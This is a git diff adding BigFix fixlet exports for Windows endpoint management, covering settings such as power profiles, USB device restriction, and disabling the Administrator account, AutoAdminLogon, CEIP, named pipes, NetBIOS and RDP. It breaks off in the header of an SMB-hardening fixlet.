+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Designate ALWAYS On Profile</Title>
+    <Description><![CDATA[<TABLE>
+<TBODY>
+<TR>
+<TD>
+<P><LINK rel=stylesheet type=text/css href="descriptionTable.css">
+<P>This Task will make each of the targeted computers a "ALWAYS On Profile" computer.</P>
+<P>Configure a computer's power profile&nbsp;to never enter the system Standby, Hibernate, or hard-disk power management modes actions that would turn the computer off.</P></TD></TR></TBODY></TABLE>]]></Description>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true</Relevance>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else true) AND (name of operating system starts with &quot;Win&quot; OR name of operating system = &quot;Mac OS X&quot;)</Relevance>
+    <Relevance><![CDATA[version of client >= "7.2" AND ((if (name of it= "Mac OS X") then (release of it >= "10.4" as version AND release of it < "10.9" as version) else true) of operating system)]]></Relevance>
+    <Category>Power Options</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 04 Oct 2013 02:16:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action2861">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to apply an ALWAYS On Power Option.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[if {name of operating system = "Mac OS X"}
+	wait pmset disksleep 0
+	wait pmset sleep 0
+else
+	if {major version of operating system = 6}
+		waithidden cmd.exe /C powercfg.exe -list > __list
+
+		if{exists file "__list" whose(exists line whose(it contains "(ALWAYS On Profile)" ) of it)}
+			waithidden cmd.exe /C powercfg.exe -setactive {(if(exists lines whose(it contains "(ALWAYS On Profile)")  of it ) then(preceding text of first "(" of following text of first ":" of  concatenations of( lines whose(it contains "(ALWAYS On Profile)") of it)  of  file "__list") else("381b4222-f694-41f0-9685-ff5bb260df2e") ) of  file "__list"}
+			delete __list
+		else
+			waithidden cmd.exe /C powercfg.exe -duplicatescheme 381b4222-f694-41f0-9685-ff5bb260df2e > __guid
+			waithidden cmd.exe /C powercfg.exe -changename {preceding text of last "(" of (following text of first ": " of (line 1 of file "__guid"))} "Last Man Standing"
+			waithidden cmd.exe /C powercfg.exe -setactive {preceding text of last "(" of (following text of first ": " of (line 1 of file "__guid"))}
+			delete __guid
+		endif
+
+		waithidden cmd.exe /C powercfg.exe -change -disk-timeout-ac 0
+		waithidden cmd.exe /C powercfg.exe -change -standby-timeout-ac 0
+		waithidden cmd.exe /C powercfg.exe -hibernate off
+	else
+		if{name of operating system contains "Win"}
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /create "ALWAYS On Profile"
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /setactive "ALWAYS On Profile"
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /change "ALWAYS On Profile" /disk-timeout-ac 0
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /change "ALWAYS On Profile" /standby-timeout-ac 0
+			waithidden "{pathname of system folder & "\powercfg.exe"}" /hibernate off
+		endif
+	endif
+endif
+]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes b/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes
new file mode 100644
index 000000000..d6e6cea35
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Device Control (24645).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Device Control
+  ID       : 24645
+  Author   : tstacy
+  Domain   : BESC
+  Imported : 2017-09-26T06:32:05
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Device Control</Title>
+    <Description><![CDATA[This Fixlet allows only certain USB Devices and denies all others for Windows 10.&nbsp;To change Device Hardware ID's modify the AllowDeviceIDs\n&nbsp;field. ]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Tom Stacy</Source>
+    <SourceReleaseDate>2017-09-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 08 Sep 2017 21:03:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+regset &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; &quot;AllowDeviceIDs&quot;=dword:00000001
+regset &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions&quot; &quot;DenyRemovableDevices&quot;=dword:00000001
+regset &quot;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\AllowDeviceIDs\1&quot;=sz:&quot;USBSTOR\\DiskUSB_2.0_USB_Flash_Drive_1100&quot;
+regset &quot;Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\DeviceInstall\Restrictions\DeniedPolicy\SimpleText&quot;=sz:&quot;InfoSec has prevented this PC from mounting this USB.&quot;
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes
new file mode 100644
index 000000000..56c11a88a
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Administrator Account (99).bes	
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Administrator Account
+  ID       : 99
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Administrator Account</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists local user &quot;Administrator&quot; OR exists local user &quot;TheAdministrator&quot;</Relevance>
+    <Relevance>NOT account disabled flag of local user &quot;Administrator&quot; OR NOT account disabled flag of local user &quot;TheAdministrator&quot;</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-01</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 01 Oct 2012 21:49:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {exists local user &quot;Administrator&quot;}
+	wait net user Administrator /active:NO
+else  //if {exists local user &quot;TheAdministrator&quot;}
+	wait net user TheAdministrator /active:NO
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes
new file mode 100644
index 000000000..6f4fa4cde
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable AutoAdminLogon (740).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable AutoAdminLogon
+  ID       : 740
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-06T14:45:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable AutoAdminLogon</Title>
+    <Description><![CDATA[This task will edit the Windows Registry.<VALUE> <BR><BR></VALUE>This task is applicable on:&nbsp;Windows XP, Windows Vista, Windows 7. ]]></Description>
+    <Relevance>name of operating system = &quot;WinXP&quot; OR name of operating system = &quot;WinXP-2003&quot; OR (name of it = &quot;WinVista&quot; and product type of it = nt workstation product type) of operating system OR name of operating system = &quot;Win7&quot;</Relevance>
+    <Relevance>exists value &quot;AutoAdminLogon&quot; whose (0 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon&quot; of native registry</Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Windows Registry Wizard</Source>
+    <SourceReleaseDate>2026-09-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 22 Sep 2011 19:38:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]&quot; &quot;AutoAdminLogon&quot;=&quot;0&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes
new file mode 100644
index 000000000..87016493f
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable IE Compatibility Mode for All Websites for Currently Logged On User (646).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable IE Compatibility Mode for All Websites for Currently Logged On User
+  ID       : 646
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T17:16:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable IE Compatibility Mode for All Websites for Currently Logged On User</Title>
+    <Description>Disable Internet Explorer Compatibility Mode for All Websites for the Currently Logged On User </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[exists value "AllSitesCompatibilityMode" whose (it = 1) of key "Software\Microsoft\Internet Explorer\BrowserEmulation" of key ("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)) of registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Oct 2012 21:42:32 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "currentUser"="{(name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7" OR name of operating system = "WinVista") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)}"
+regset "[HKEY_USERS\{parameter "currentUser"}\Software\Microsoft\Internet Explorer\BrowserEmulation]" "AllSitesCompatibilityMode"=dword:00000000
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action884">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to source of information.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.sevenforums.com/tutorials/1220-internet-explorer-compatilbility-view-all-websites.html</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes
new file mode 100644
index 000000000..d7686fed5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Microsoft CEIP (3899).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Microsoft CEIP
+  ID       : 3899
+  Author   : gavinmclean
+  Domain   : BESC
+  Imported : 2014-10-28T23:00:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Microsoft CEIP</Title>
+    <Description>This fixlet disables the Microsoft Customer Experience Program </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>(if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) AND (if exists property &quot;android&quot; of type &quot;operating system&quot; then (not android of operating system) else true)</Relevance>
+    <Relevance>not exists (key &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows&quot; of native registry) whose (value &quot;CEIPEnable&quot; of it is 0) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Application Experience\AitAgent&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Application Experience\ProgramDataUpdater&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Autochk\Proxy&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Consolidator&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerCeipAssistant&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleCollector&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleUsageCollector&quot; and enabled of it) OR exists scheduled task whose (path of it is &quot;\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector&quot; and enabled of it)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-10-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 29 Oct 2014 05:59:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Disable CEIP by registry
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows]&quot; &quot;CEIPEnable&quot;=dword:0
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\Software\Microsoft\SQMClient\Windows]&quot; &quot;CEIPEnable&quot;=dword:0
+endif
+
+// Disable associated scheduled tasks
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Application Experience\AitAgent&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Application Experience\ProgramDataUpdater&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Autochk\Proxy&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Consolidator&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\UsbCeip&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerCeipAssistant&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleCollector&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\Customer Experience Improvement Program\Server\ServerRoleUsageCollector&quot; /Disable
+waithidden schtasks /change /TN &quot;\Microsoft\Windows\DiskDiagnostic\Microsoft-Windows-DiskDiagnosticDataCollector&quot; /Disable
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes
new file mode 100644
index 000000000..2b54fb712
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (108).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Named Pipes
+  ID       : 108
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 0) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+endif</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes
new file mode 100644
index 000000000..776915ddf
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Named Pipes (642).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable Named Pipes
+  ID       : 642
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T12:05:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable Named Pipes</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance><![CDATA[exists key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Relevance><![CDATA[exists value "Enabled" whose (it != 0) of key ("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\" & (value "MSSQLSERVER" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL" of native registry as string) & "\MSSQLServer\SuperSocketNetLib\Np") of native registry]]></Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-08-20</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 30 Aug 2012 15:51:56 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable MS SQL Named Pipes.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+else
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\{(value &quot;MSSQLSERVER&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL&quot; of native registry as string)}\MSSQLServer\SuperSocketNetLib\Np]&quot; &quot;Enabled&quot;=DWORD:00000000
+endif</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes
new file mode 100644
index 000000000..20bc6cbcb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable NetBios On All Network Adaptors (Requires Restart) (27372).bes	
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable NetBios On All Network Adaptors (Requires Restart)
+  ID       : 27372
+  Author   : justin.lamb
+  Domain   : BESC
+  Imported : 2025-02-20T04:01:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable NetBios On All Network Adaptors (Requires Restart)</Title>
+    <Description>Executes a powershell script to update the registry to disable NetBios on all network adaptors</Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-02-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 20 Feb 2025 10:00:05 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">waithidden powershell -ExecutionPolicy Bypass -command &quot;Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces\tcpip* -Name NetbiosOptions -Value 2&quot;
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes
new file mode 100644
index 000000000..441472210
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Remote Desktop (RDP) (659).bes	
@@ -0,0 +1,48 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable Remote Desktop (RDP)
+  ID       : 659
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-11-05T18:48:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable Remote Desktop (RDP)</Title>
+    <Description>Disable remote desktop settings in the registry. (RDP) </Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists value &quot;fDenyTSConnections&quot; whose (it = 0) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; of registry</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-11-05</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 06 Nov 2012 00:35:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]&quot; &quot;fDenyTSConnections&quot;=dword:00000001
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action898">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this setting.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://technet.microsoft.com/en-us/library/cc782195(v=ws.10).aspx</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes
new file mode 100644
index 000000000..04bdf2328
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012 (24318).bes	
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012
+  ID       : 24318
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T13:10:12
+  Source   : bigfixm1_main @ BES-Root
+-->
